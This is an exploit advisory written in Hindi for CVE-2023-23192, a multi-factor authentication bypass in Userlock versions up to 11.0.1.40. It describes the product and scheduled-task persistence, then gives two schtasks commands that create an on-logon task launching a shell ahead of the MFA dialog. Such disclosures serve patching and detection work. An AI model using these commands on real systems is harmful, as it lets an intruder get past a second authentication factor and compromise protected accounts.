CVE-2023-23192

CVE-2023-23192- Userlock - मल्टी-फैक्टर प्रमाणीकरण (MFA) बाईपास

Exploit शीर्षक: Userlock - मल्टी-फैक्टर प्रमाणीकरण (MFA) बाईपास

दिनांक: 01/11/2023

Exploit लेखक: Pinar Sadioglu

विक्रेता होमपेज: https://www.isdecisions.com/products/userlock/help/#

संस्करण: < = 11.0.1.40

परीक्षण किया गया: Windows 10

सॉफ्टवेयर : वर्कस्टेशन या टर्मिनल सर्वर पर इंटरैक्टिव सत्रों की सुरक्षा के लिए Userlock 'डेस्कटॉप एजेंट' के साथ परीक्षण किया गया।

CVE : CVE-2023-23192

MITRE ATT&CK: T1053.005 - Scheduled Task/Job: Scheduled Task

आवश्यक अनुमतियाँ: Administrator, Root

https://nvd.nist.gov/vuln/detail/CVE-2023-23192

विवरण: Userlock, Windows Active Directory और क्लाउड परिवेशों के लिए एक मल्टी-फैक्टर प्रमाणीकरण समाधान है, जो अनधिकृत और अवांछित पहुँच को रोकता है। यह Windows लॉगऑन, रिमोट डेस्कटॉप (RDP और RD Gateway), IIS, VPN और क्लाउड अनुप्रयोगों पर अनुकूलित द्वि-कारक प्रमाणीकरण (2FA) सक्षम करता है। Userlock आपको अपने Active Directory लॉगऑन, डोमेन से जुड़े वर्कस्टेशन और सर्वर पर MFA लागू करने की अनुमति देता है। दिन के पहले लॉगऑन पर, उनके वर्कस्टेशन पर, एक डायलॉग बॉक्स प्रदर्शित होता है जिसमें आप Authenticator ऐप से OTP कोड दर्ज कर सकते हैं। Userlock द्वि-कारक प्रमाणीकरण प्रदान करने के लिए लॉगऑन प्रक्रिया के साथ एकीकृत होता है।

पीड़ित के कंप्यूटर पर स्थिरता (persistence) बनाने के लिए हमलावरों द्वारा सबसे अधिक उपयोग की जाने वाली रणनीतियों में से एक कार्य अनुसूचन है। हमलावर अक्सर स्वचालित पहचान से बचने, स्थिरता बनाए रखने और लंबे समय तक निष्क्रिय रहने के बाद आश्चर्यजनक हमले करने के लिए इस रणनीति का उपयोग करते हैं।

भेद्यता:

एक अनुसूचित कार्य बनाएं जो किसी भी उपयोगकर्ता के लॉग ऑन के बाद निष्पादित हो।

> schtasks /create /tn "MFA_Bypass_OnLogon" /sc onlogon /tr "cmd.exe /c powershell.exe"

डोमेन क्रेडेंशियल्स के साथ सफलतापूर्वक लॉग ऑन करने के बाद, अनुसूचित cmd.exe में Userlock MFA डायलॉग बॉक्स प्रदर्शित होता है।

> schtasks /create /tn "MFA_Bypass_OnLogon" /sc onlogon /tr "cmd.exe /c explorer.exe"